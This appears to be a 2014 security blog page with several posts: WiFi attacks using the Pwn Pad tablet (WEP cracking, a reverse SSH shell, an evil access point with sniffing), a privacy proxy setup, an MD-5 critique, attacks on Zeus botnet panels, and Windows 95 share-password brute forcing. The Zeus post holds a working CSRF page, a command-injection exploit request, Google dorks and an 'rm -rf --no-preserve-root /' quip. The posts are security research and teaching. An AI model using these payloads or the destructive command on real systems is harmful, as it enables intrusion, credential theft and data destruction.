Pages

Tuesday, April 22, 2014

WiFi hacking on tablets

Disclaimer: Don't hack anything where you don't have the authorization to do so. Stay legal.

Ever since I bought my first Android device, I wanted to use the device for WEP cracking. Not because I need it, but I want it :) After some googling, I read that you can't use your WiFi chipset for packet injection, and I forgot the whole topic.

After a while, I read about hacking on tablets (this was around a year ago), and my first opinion was: 
"This is stupid, lame, and the usage of that can be very limited".

After playing one day with it, my opinion just changed: 
"This is stupid, lame, the usage is limited, but when it works, it is really funny :-)"

At the beginning I looked at the Pwn Pad as a device that can replace a pentest workstation, working at the attacker side. Boy was I wrong. Pwn Pad should be used as a pentest device deployed at the victim's side!

You have the following options:
  1. You have 1095 USD + VAT + shipping to buy this Pwn Pad
  2. You have around 200 USD to buy an old Nexus 7 tablet, a USB OTG cable, a USB WiFi dongle (e.g. TP-Link Wireless TL-WN722N USB adapter works).



In my example, I bought a used, old 2012 Nexus WiFi. Originally I bought this to play with different custom Android ROMs, and play with rooted applications. After a while, I found this Pwn Pad hype again and gave it a shot.

The Pwn Pad community edition has an easy-to-use installer, with a proper installation description. Don't forget to backup everything from your tablet before installing Pwn Pad on it!

I don't want to repeat the install guide, it is as easy as ABC. I booted a Ubuntu Live CD, installed adb and fastboot, and it was ready-to-roll. I have not measured the time, but the whole process was around 20 minutes.


The internal WiFi chipset can be used to sniff traffic or even ARP poisoning for active MiTM. But in my case, I was not able to use the internal chipset for packet injection, which means you can't use it for WEP cracking, WPA disauth, etc. This is where the external USB WiFi comes handy. And this is why we need the Pwn Pad Android ROM, and can't use an average ROM.

There are two things where Pwn Pad really rocks. The first one is the integrated drivers for the external WiFi with monitor mode and packet injection capabilities. The second cool thing is the chroot wrapper around the Linux hacking tools. Every hacking tool has a start icon, so it feels like it is a native Android application, although it is running in a chroot Kali environment.

Wifite

The first recommended app is Wifite. Think of it as a wrapper around the aircrack - airmon - airodump suite. My biggest problem with WEP cracking was that I had to remember a bunch of commands, or have the WEP cracking manual with me every time I have to crack it. It was overcomplicated. But thanks to Wifite, that is past.

In order to crack a WEP key, you have to:
  1. Start the Wifite app
  2. Choose your adapter (the USB WiFi)

  3. Choose the target network (wep_lan in the next example)
  4. Wait for a minute 
  5. PROFIT!

SSH reverse shell

This is one of the key functionalities of the Pwn Pad. You deploy the tablet at the Victim side, and let the tablet connect to your server via (tunneled) SSH.

The basic concept of the reverse shells are that an SSH tunnel is established between the Pwn Pad tablet (client) and your external SSH server (either directly or encapsulated in other tunneling protocol), and remote port forward is set up, which means on your SSH server you connect to a localport which is forwarded to the Pwn Pad and handled by the Pwn Pad SSH server.

I believe the best option would be to use the reverse shell over 3G, and let the tablet connect to the victim network through Ethernet or WiFi. But your preference might vary. The steps for reverse shells are again well documented in the documentation, except that by default you also have to start the SSH server on the Pwn Pad. It is not hard, there is an app for that ;-) On your external SSH server you might need to install stunnel and ptunnel if you are not using Kali. The following output shows what you can see on your external SSH server after successful reverse shell.

root@myserver:/home/ubuntu# ssh -p 3333 pwnie@localhost
The authenticity of host '[localhost]:3333 ([127.0.0.1]:3333)' can't be established.
ECDSA key fingerprint is 14:d4:67:04:90:30:18:a4:7a:f6:82:04:e0:3c:c6:dc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:3333' (ECDSA) to the list of known hosts.
pwnie@localhost's password:
  _____      ___  _ ___ ___   _____  _____ ___ ___ ___ ___
 | _ \ \    / / \| |_ _| __| | __\ \/ / _ \ _ \ __/ __/ __|
 |  _/\ \/\/ /| .` || || _|  | _| >  <|  _/   / _|\__ \__ \
 |_|   \_/\_/ |_|\_|___|___| |___/_/\_\_| |_|_\___|___/___/

 Release Version: 1.5.5
 Release Date: 2014-01-30
 Copyright 2014 Pwnie Express. All rights reserved.

 By using this product you agree to the terms of the Rapid Focus
 Security EULA: http://pwnieexpress.com/pdfs/RFSEULA.pdf

 This product contains both open source and proprietary software.
 Proprietary software is distributed under the terms of the EULA.
 Open source software is distributed under the GNU GPL:
 http://www.gnu.org/licenses/gpl.html

pwnie@localhost:~$

Now you have a shell on a machine that is connected to the victim network. Sweet :) Now Metasploit really makes sense on the tablet, and all other command-line tools.

EvilAP and DSniff

Start EvilAP (it is again a wrapper around airobase), choose interface (for me the Internal Nexus Wifi worked), enter an SSID (e.g freewifi), enter channel, choose whether force all clients to connect to you or just those who really want to connect to you, and start.


The next step is to start DSniff, choose interface at0, and wait :) In this example, I used a popular Hungarian webmail, which has a checkbox option for "secure" login (with default off). There are sooo many problems with this approach, e.g. you can't check the certificate before connecting, and the login page is delivered over HTTP, so one can disable the secure login checkbox seamlessly in the background, etc. In this case, I left the "secure" option on default off.



In the next tutorial, I'm going to show my next favorite app, DSploit ;)

Lessons learned

Hacking has been never so easy before
In a home environment, only use WPA2 PSK
Choose a long, nondictionary passphrase as the password for WPA2
Don't share your WiFi passwords with people you don't trust, or change it when they don't need it anymore
Don't let your client device auto-connect to WiFi stations, even if the SSID looks familiar

I believe during an engagement a Pwn Plug has better "physical cloaking" possibilities, but playing with the Pwn Pad Community Edition really gave me fun moments.

And last but not least I would like to thank to the Pwn Pad developers for releasing the Community Edition!

Tuesday, April 1, 2014

BYOPPP - Build your own privacy protection proxy

I have read a blog post, where you can build your own privacy proxy server built on Raspberry PI. The post got me thinking about how I can use this to protect my privacy on my Android phone, and also get rid of those annoying ads. 

Since I own a Samsung Galaxy S3 LTE with Android 4.3 (with a HW based Knox counter), rooting the phone now means you break Knox, and loose warranty. Past the point of no return ...

This means I have to solve this without root. Luckily newer Androids support VPN without rooting, but setting a mandatory system-wide proxy is still not possible without root. 
But thanks to some iptables magic and Privoxy, this is not a problem anymore :) 

The ingredients to build your own privacy protection proxy:
  • One (or more) cheap VPS server(s)
  • a decent VPN program
  • Privoxy
  • iptables

VPS server

To get the cheap VPS server, I recommend using Amazon EC2, but choose whatever you like. The micro instance is very cheap (or even free), and has totally enough resources for this task. I'm using the Ubuntu free tier now and it works like a charm. And last but not least Amazon has two-factor authentication! You can set up an Ubuntu server under 10 minutes. Use the AWS region nearest to you, e.g. I choose EU - Ireland.



VPN

For the VPN program, I recommend the free version of the OpenVPN AS (EDIT: be sure to use OpenVPN AS 2.0.6 or later, both on the server and the client). Easy to set-up quick start guide is here, GUI based configuration, and one-click client installer for Android, iOS, Windows, Linux, OSX. The Ubuntu installer packages are here.




The most important settings:

  • I prefer to use the TCP 443 and UDP 53 ports for my OpenVPN setup, and let the user guess why. 
  • For good performance, UDP is preferred over TCP. 
  • VPN mode is Layer 3 (routing/NAT).
  • Don't forget to allow the configured VPN ports in the AWS firewall (security groups). 


Other VPN settings:
  • Should VPN clients have access to private subnets (non-public networks on the server side)? - Yes
  • Should client Internet traffic be routed through the VPN? - Yes

Privoxy

The next component we have to install and configure is Privoxy. As usual, "apt-get install privoxy" just works. The next step is to configure privoxy via /etc/privoxy/config file, there are two options to change:
  • listen-address your.ip.add.ress:8118
  • accept-intercepted-requests 1
Beware not to allow everyone accessing your Privoxy server in the AWS EC2 security groups, be sure it is reachable only to VPN users!

After everything is set, start privoxy with "service privoxy start", and add it to the autostart "update-rc.d privoxy defaults".

Iptables

And the final step is to configure your iptables chain to forward every web traffic from the VPN clients to the Privoxy server:

iptables -t nat -A PREROUTING -s 5.5.0.0/16 -p tcp -m multiport --dports 80,8080,81 -j DNAT --to-destination your.ip.add.ress:8118

Optionally you can block access to all other ports as well, and what does not go through your Privoxy won't be reachable.
Based on your Linux distribution and preference, you might make this rule persistent.

Final test

Now you can connect to the VPN server from your Android device.
After logging in from a client, you get the following nice packages to install on your device:


After connecting, the final results can be seen in the following screenshots. And yes, there is a reason I chose Angry Birds as an example.

Angry Birds without Privoxy
Angry Birds with Privoxy
Stupid flashlight app with ad
Stupid flashlight app with Privoxy
Spoiler alert
If you are afraid of NSA tracking you, this post is not for you. If you want to achieve IP layer anonymity, this post is not for you. As long as you are the only one using that service, it should be trivial to see what could possibly go wrong with that.

Known issues
Whenever the Internet connection (Wifi, 3G) drops, the VPN connection drops as well, and your privacy is gone ...
Sites breaking your privacy through SSL can still do that as long as the domain is not in the Privoxy blacklist.

Additional recommendation
If you are using OSX or Windows, I can recommend Aviator to be used as your default browser. It is just great, give it a try!

PS: There are also some adblock apps removed from the official store which can block some ads, but you have to configure a proxy for every WiFi connection you use, and it is not working over 3G.



Tuesday, March 25, 2014

Stop using MD-5, now!

TL;DR: Don't use MD-5 to identify malware samples. Believe me, it is a bad idea. Use SHA-256 or a stronger hash function.

This post is dedicated to all malware researchers, still using MD-5 to identify malware samples.

Before deep-diving into the details, let me explain my view on this topic. Whenever you want to identify a malware, it is only OK to publish the MD-5 hash of the malware if you post at least the SHA-256 hash of the malware as well. Publishing only the MD-5 hash is unprofessional. If you want to understand why, please continue reading. If you know about the problem, but want to help me spread the word, please link to my site www.stopusingmd5now.com.

By writing articles/posts/etc. and publishing the MD-5 hash only, it is the lesser problem that you show people your incompetency about hash functions, but you also teach other people to use MD-5. And it spreads like a disease... Last but not least, if I find a sample on your blog post, and you use MD-5 only, I can't be sure we have the same sample.

Here is a list to name a few bad examples (order is in Google search rank order):


Introduction to (cryptographic) hash functions

A long time ago (according to some sources since 1970) people started designing hash functions, for an awful lot of different reasons. It can be used for file integrity verification, password verification, pseudo-random generation, etc. But one of the most important properties of a cryptographic hash function is that it can "uniquely" identify a block of data with a small, fixed bit string. E.g., malware can be identified by using only the hash itself, so everybody who has the same malware sample will have the same hash; thus they can refer to the malware by the hash itself.

It is easy to conclude that there will always be collisions, where a different block of data has the same result hashes. The domain (block of data) is infinite, while the codomain (possible hash values) is finite. The question is how easy it is to find two different blocks of data, having the same hash. Mathematicians call this property "collision resistance." Proper cryptographic hash functions are collision-resistant, meaning it is impractical or impossible to find two different blocks of data, which have the same hash.

In 1989 Ronald Rivest (the first letter in the abbreviation of the RSA algorithm) designed the MD-2 hashing algorithm. Since 1997 there are publications about that this hashing algorithm is far from perfect.

In 1990 Ronald Rivest designed the MD-4 algorithm, which is considered as broken at least from 1991. But MD-4 is still in use from Windows XP until Windows 8 in the password protocol (NTLM). Unfortunately, there are more significant problems with NTLM besides using MD-4, but this can be the topic of a different blog post.

In 1991 (you might guess who) designed yet another hashing algorithm called MD-5, to replace MD-4  (because of the known weaknesses). But again, in from 1993 it has been shown many times that MD-5 is broken as well. According to Wikipedia, "On 18 March 2006, Klima published an algorithm [17] that can find a collision within one minute on a single notebook computer, using a method he calls tunneling". This means, that with the 8 years old computing power of a single notebook one can create two different files having the same MD-5 hash. But the algorithms to generate collisions have been improved since, and "a 2013 attack by Xie Tao, Fanbao Liu, and Dengguo Feng breaks MD-5 collision resistance in 2^18 time. This attack runs in less than a second on a regular computer." The key takeaway here is that it is pretty damn hard to design a secure cryptographic hash function, which is fast, but still safe. I bet that if I would develop a hash function, Ron would be able to hack it in minutes.

Now, dear malware researcher, consider the following scenario. You as, a malware analyst, find a new binary sample. You calculate the MD-5 hash of the malware, and Google for that hash. You see this hash value on other malware researchers or on a sandbox/vendor's site. This site concludes that this sample does this or that, and is either malicious or not. Either because the site is also relying solely on MD-5 or because you have only checked the MD-5 and the researcher or sandbox has a good reputation, you move on and forget this binary. But in reality, it is possible that your binary is totally different than the one analyzed by others. The results of this mistake can scale from nothing to catastrophic.

If you don't believe me, just check the hello.exe and erase.exe on this site from Peter Sellinger. Same MD-5, different binaries; a harmless and a (fake) malicious one... And you can do the same easily at home. No supercomputers,  no NSA magic needed.

On a side-note, it is important to mention that even today it can be hard to find a block of data (in generic), if only the MD-5 hash is known ("pre image resistance"). I have heard people arguing this when I told them using MD-5 as a password hash function is a bad idea. The main problem with MD-5 as a password hash is not the weaknesses in MD-5 itself, but the lack of salt, lack of iterations, and lack of memory hardness. But still, I don't see any reason why you should use MD-5 as a building block for anything, which has anything to do with security. Would you use a car to drive your children to the school, which car has not been maintained in the last 23 year? If your answer is yes, you should neither have children nor a job in IT SEC.

Conclusion

If you are a malware researcher, and used MD-5 only to identify malware samples in the past, I suggest to write it down 1000 times: "I promise I won't use MD-5 to identify malware in the future."

I even made a website dedicated to this problem, www.stopusingmd5now.com . The next time you see a post/article/whatever where malware is identified by the MD-5 hash only, please link to this blog post or website, and the world will be a better and more professional place.


PS: If you are a forensics investigator, or software developer developing software used in forensics, the same applies to you.
PS 2: If you find this post too provocative and harsh, there is a reason for this ...

Update: I have modified two malware (Citadel, Atrax) with the help of HashClash, and now those have the same MD-5. Many thanks for Marc Stevens for his research, publishing his code, and help given during the collision finding.

Friday, February 14, 2014

Attacking financial malware botnet panels - Zeus

I played with leaked financial malware recently. When I saw these panels are written in PHP, my first idea was to hack them. The results are the work of one evening, please don't expect a full pentest report with all vulns found :-)

The following report is based on Zeus 2.0.8.9, which is old, but I believe a lot of Zeus clones (and C&C panels) depend on this code.

First things first, here are some Google dorks to find Zeus C&C server panel related stuff:
  • inurl:cp.php?m=login - this should be the login to the control panel
  • inurl:_reports/files  - in these folders you can find the stolen stuff, pretty funny if it gets indexed by Google
  • inurl:install/index.php - this should be deleted, but I think this is useless now.


Boring vulns found

Update: You can use the CSRF to create a new user with admin privileges:
<html>
<head>
    <title></title>
</head>
<body>
    <pre>
  This is a CSRF POC to create a new admin user in Zeus admin panels.
  Username: user_1392719246 Password: admin1
  You might change the URL from 127.0.0.1.
  Redirecting in a hidden iframe in <span id="countdown">10</span> seconds.  
</pre>
<iframe id="csrf-frame" name="csrf-frame" style="display: none;"></iframe>
    <form action="http://127.0.0.1/cp.php?m=sys_users&amp;new" id="csrf-form" method="post" name="csrf-form" target="csrf-frame">
 <input name="name" type="hidden" value="user_1392719246" /> 
 <input name="password" type="hidden" value="admin1" /> 
 <input name="status" type="hidden" value="1" /> 
 <input name="comment" type="hidden" value="PWND!" />
 <input name="r_botnet_bots" type="hidden" value="1" /> 
 <input name="r_botnet_scripts" type="hidden" value="1" /> 
 <input name="r_botnet_scripts_edit" type="hidden" value="1" /> 
 <input name="r_edit_bots" type="hidden" value="1" /> 
 <input name="r_reports_db" type="hidden" value="1" /> 
 <input name="r_reports_db_edit" type="hidden" value="1" /> 
 <input name="r_reports_files" type="hidden" value="1" />
 <input name="r_reports_files_edit" type="hidden" value="1" />
 <input name="r_reports_jn" type="hidden" value="1" /> 
 <input name="r_stats_main" type="hidden" value="1" /> 
 <input name="r_stats_main_reset" type="hidden" value="1" /> 
 <input name="r_stats_os" type="hidden" value="1" /> 
 <input name="r_system_info" type="hidden" value="1" /> 
 <input name="r_system_options" type="hidden" value="1" />
 <input name="r_system_user" type="hidden" value="1" /> 
 <input name="r_system_users" type="hidden" value="1" />
    </form>
<script type="text/javascript">
 window.onload=function(){ 
  var counter = 10;
  var interval = setInterval(function() {
   counter--;
   document.getElementById('countdown').innerHTML = counter;
   if (counter == 0) {
    redirect();
    clearInterval(interval);
   }
  }, 1000);
 };
    function redirect() {
  document.getElementById("csrf-form").submit();
    }
    </script>
</body>
</html>
  • MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5.
  • ClickJacking - really boring stuff
  • Remember me (MD5 cookies) - a very bad idea. In this case, the remember me function is implemented in a way where the MD5 of the password and MD5 of the username is stored in a cookie. If I have XSS, I could get the MD5(password) as well.
  • SQLi - although concatenation is used instead of parameterized queries, and addslashes are used, the integers are always quoted. This means it can be hacked only in case of special encoding like GB/Big5, pretty unlikely.

Whats good news (for the C&C panel owners)


The following stuff looks good, at least some vulns were taken seriously:
  • The system directory is protected with .htaccess deny from all.
  • gate.php - this is the "gate" between the bots and the server, this PHP is always exposed to the Internet. The execution of this PHP dies early if you don't know the key. But you can get the key from the binary of this specific botnet (another URL how to do this). If you have the key, then you can fill the database with garbage, but that's all I can think of now.
  • Anti XSS: the following code is used almost everywhere
  • return htmlspecialchars(preg_replace('|[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]|u', ' ', $string), ENT_QUOTES, 'UTF-8');
    My evil thought was to inject malicious bot_id, but it looks like it has been filtered everywhere. Sad panda.

What's really bad news (for the C&C panel owners)


And the best vuln I was able to find, remote code execution through command injection (happy panda), but only for authenticated users (sad panda).

The vulnerable code is in system/fsarc.php:

function fsarcCreate($archive, $files){
   ...
   $archive .= '.zip';
   $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"';
   exec($cli, $e, $r);
}

The exploit could not be simpler:
POST /cp.php?m=reports_files&path= HTTP/1.1
...
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

filesaction=1&files%5B%5D=files"||ping%20-n%2010%20127.0.0.1
because the zip utility was not found on my Windows box. You can try to replace || with && when attacking Windows (don't forget to URL encode it!), or replace || with ; when attacking Linux. You can also link this vulnerability with the CSRF one, but it is unlikely you know both the control panel admin, and the control panel URLs. Or if this is the case, the admin should practice better OPSEC :)
Recommendation: use escapeshellcmd next time.

Next time you find a vulnerable control panel with a weak password, just rm -rf --no-preserve-root / it ;-)

That's all folks!
Special greetz to Richard (XAMPP Apache service is running as SYSTEM ;-) )

Update: Looks like the gate.php is worth to investigate if you know the RC4 key. You can upload a PHP shell :)

Sunday, February 2, 2014

Hacking Windows 95, part 1

During a CTF game, we came across very-very old systems. Turns out, it is not that easy to hack those dinosaur old systems, because modern tools like Metasploit do not have sploits for those old boxes and of course our "133t h4cking skillz" are useless without Metasploit... :)

But I had an idea: This can be a pretty good small research for fun.

The rules for the hack are the following:
  1. Only publicly available tools can be used for this hack, so no tool development. This is a CTF for script bunniez, and we can't haz code!
  2. Only hacks without user interaction are allowed (IE based sploits are out of scope).
  3. I need instant remote code execution. For example, if I can drop a malware to the c: drive, and change autoexec.bat, I'm still not done, because no one will reboot the CTF machine in a real CTF for me. If I can reboot the machine, that's OK.
  4. I don't have physical access.
I have chosen Windows 95 for this task. First, I had to get a genuine Windows 95 installer, so I visited the Microsoft online shop and downloaded it from their official site.

I installed it in a virtualized environment (remember, you need a boot floppy to install from the CD), and it hit me with a serious nostalgia bomb after watching the installer screens. "Easier to use", "faster and more efficient", "high-powered performance", "friendly", "intuitive interface". Who does not want that? :)






Now that I have a working Windows 95 box, setting up the TCP/IP is easy, let's try to hack it!

My first tool is always nmap. Let's scan the box! Below I'm showing the interesting parts from the result:

PORT      STATE           SERVICE       VERSION
139/tcp   open            netbios-ssn
137/udp   open|filtered   netbios-ns
138/udp   open|filtered   netbios-dgm
Running: Microsoft Windows 3.X|95
OS details: Microsoft Windows for Workgroups 3.11 or Windows 95
TCP Sequence Prediction: Difficulty=25 (Good luck!)
IP ID Sequence Generation: Broken little-endian incremental

The first exciting thing to note is that there is no port 445! Port 445 is only since NT 4.0. If you check all the famous windows sploits (e.g., MS03-026, MS08-067), all of them use port 445 and named pipes. But there are no named pipes on Windows 95!

Because I'm a Nessus monkey, let's run a free Nessus scan on it!

Only one critical vulnerability found:
Microsoft Windows NT 4.0 Unsupported Installation Detection

Thanks for nothing, Nessus! But at least it was for free.

Next, I tried GFI Languard, nothing. It detected the machine as Win95, the opened TCP port, and some UDP ports as open (false-positive), and that's all...

Let's try another free vulnerability scanner tool, Nexpose. The results are much better:
  • CIFS NULL Session Permitted  
  • Weak LAN Manager hashing permitted
  • SMB signing not required
  • Windows 95/98/ME Share Level Password Bypass   
  • TCP Sequence Number Approximation Vulnerability  
  • ICMP netmask response
  • CIFS Share Readable By Everyone
I think the following vulnerabilities are useless for me at the moment:
  • Weak LAN Manager hashing permitted - without user interaction or services looking at the network, useless (I might be wrong here, will check this later)
  • TCP Sequence Number Approximation Vulnerability - not interesting
  • ICMP netmask response - not interesting
  • CIFS Share Readable By Everyone - unless there is a password in a text file, useless
But we have two interesting vulns:
  • CIFS NULL Session Permitted  - this could be interesting, I will check this later ...
  • Windows 95/98/ME Share Level Password Bypass - BINGO!
Let me quote Nexpose here:

"3.2.3 Windows 95/98/ME Share Level Password Bypass (CIFS-win9x-onebyte-password)

A flaw in the Windows 95/98/ME File and Print Sharing service allows unauthorized users to access file and print shares by sending the first character of the password. Due to the limited number of attempts required to guess the password, brute force attacks can be performed in just a few seconds.

Established connection to share TEST with password P."

The vulnerability description at MS side:

For example if the password is "Password" (without quotes) and the client sends the password "P" (without quotes) and the length of 1, the client is authenticated. To find the rest of the password, the attacker increments the length to 2 and starts guessing the second letter until he reaches "PA" and gets authenticated again. As share passwords in Windows 95 are not case sensitive, "Pa" and "PA" will also be accepted. The attacker can continue to increment the length and guessing the next letter one-by-one until he gets the full "PASSWORD" (as the maximum length is 8 characters).

I believe all characters between ALT+033 and ALT+255 can be used in the share password in Windows 95, but as it is case insensitive, we have 196 characters to use, and a maximum length of 8 characters. In worst case this means that we can guess the full password in 1568 requests. The funny thing is that the share password is not connected to (by default) any username/account, and it cannot be locked via brute force.

Luckily there is a great tool which can exploit this vulnerability:

Let's check this tool in action:


W00t w00t, it brute forced the password in less then 2 seconds!

Looking at a wireshark dump we can see how it is done:


As you can see, in the middle of the dump we can see that it already guessed the part "PASS" and it is brute-forcing the fifth character, it founds that "W" is the correct fifth character, and starts brute-forcing the sixth character.

If we are lucky with the CTF, the whole C:\ drive is shared with full read-write access, and we can write our team identifier into the c:\flag.txt. But what if we want remote code execution? Stay tuned, this is going to be the topic of the next part of this post.